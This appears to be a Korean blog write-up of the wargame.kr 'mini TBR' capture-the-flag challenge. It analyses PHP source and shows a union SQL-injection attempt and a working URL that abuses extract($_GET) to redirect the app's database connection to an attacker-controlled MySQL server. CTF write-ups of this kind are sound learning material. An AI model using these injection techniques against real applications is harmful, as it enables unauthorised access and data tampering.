webhacking/etc

wargame.kr mini TBR

qkqhxla1 2015. 5. 24. 15:40

목적을 알기 위해 소스파일을 다운받아서 들여다보자.

\mini_TBR\modules\_system\경로에

 functions.php가 있는데, 중간에 get_layout()함수를 보자.

 

 function get_layout($layout, $pos){ $result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'"); $row = mysql_fetch_array($result); $allow_list = ["./book_store_skin/head.html", "./book_store_skin/foot.html", "./reverted/h.htm", "./reverted/f.htm"];
if (isset($row['path'])){ if ($row['path'] == "hacked") { include("../lib.php"); die(auth_code("mini TBR")); } if (in_array($row['path'], $allow_list)) { return $row['path']; } }
if ($pos == 'head'){ return "./reverted/h.htm"; } return "./reverted/f.htm"; }

 

die부분에서 flag가 출력되는걸 알수있고, 이걸 출력할수 있는 방법을 역으로 따라올라가서 찾아내면 될것이다. get_layout함수는 $layout과 $pos를 인자로받으며 이걸 토대로 _BH_layout테이블에서 path를 가져온다. path가 hacked면 flag를 출력한다. 어떻게해야 path를 hacked로 변환시킬수있는지 찾아보자.
일단 인자분석을 위해 get_layout();가 호출되는 부분을 찾아보자. 

index.php에서

$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

 

$foot = $_BHVAR['path_layout'].get_layout($_skin, 'foot');이 두줄에서 get_layout함수가 호출된다. 두번째 인자는 'head'또는 'foot'로 고정이고, 첫번째 인자인 $_skin은 윗줄에 보면 있는데, 아무 값도 안줄 시 디폴트값으로 1이 들어간다. 아니면 $_skin값이 들어가기도 하는데, 이 값은 더 위로 올라가다보면 

if (!ini_get("register_globals")) extract($_GET); 부분을 통해 

우리가 GET방식으로 준 _skin변수가 들어가게됨을 알 수 있다.(이 부분 말고는 따로 변수선언된 부분이 없다.)


마침 사이트를 돌아다니다 보면 book스킨을 클릭했을때 http://wargame.kr:8080/mini_TBR/?_type=P&_act=home&_skin=1 처럼 url이 나오고 _skin=1이라는게 전달되는걸로 보아 추측이 맞다는것을 알 수 있다.
처음에는 get_layout함수의$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");부분을 보고 $layout부분에 sqli를 해보려고했다._skin=2' union select 'hacked'# 대충 이런식으로 넣게되면 union으로 hacked가 나올것이라고 생각했는데, magic_quotes_gpc가 걸려있는지 되질 않았다. 
몇달동안 고민하다가 db_conn시의 db정보는 database.php에 선언된 배열에서 정보를 가져온다. 그런데 

if (!ini_get("register_globals")) extract($_GET); 이 부분에서 전역적으로 변수를 그냥 extract해버리므로, 내가 저 db배열의 정보를 내 mysql정보로 바꿔버리고, 내 mysql에는 그냥 path컬럼에 hacked를 넣어버린 후, GET방식으로 db정보를 내 mysql로 바꿔버려서 내 컴퓨터에 접속해서 정보를 가져가게 했다.

 

그러면

db_conn();$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

 

$foot = $_BHVAR['path_layout'].get_layout($_skin, 'foot');부분에서 DB에 접속해서 get_layout에서는 1,'head'를 인자로 전달하게되면 쿼리가"select path from _BH_layout where layout_name=1 and position=head" 가 될테므로 _BH_layout테이블을 만들어서 값을 insert해뒀다.


그러고나서 공유기를 사용하므로, 80번 포트와 3306포트(mysql포트인데 이건 해야되는지 안해도되는지 불확실해서 그냥 포워딩.)를 포트포워딩 해준 후, 방화벽을 열고 get방식으로 값을 전달했더니 성공했다.
http://wargame.kr:8080/mini_TBR/?_type=P&_skin=1&_BHVAR[path_module]=./modules/&_BHVAR[db][host]=내 아이피 주소&_BHVAR[db][user]=root&_BHVAR[db][pass]=password&_BHVAR[db][name]=mydb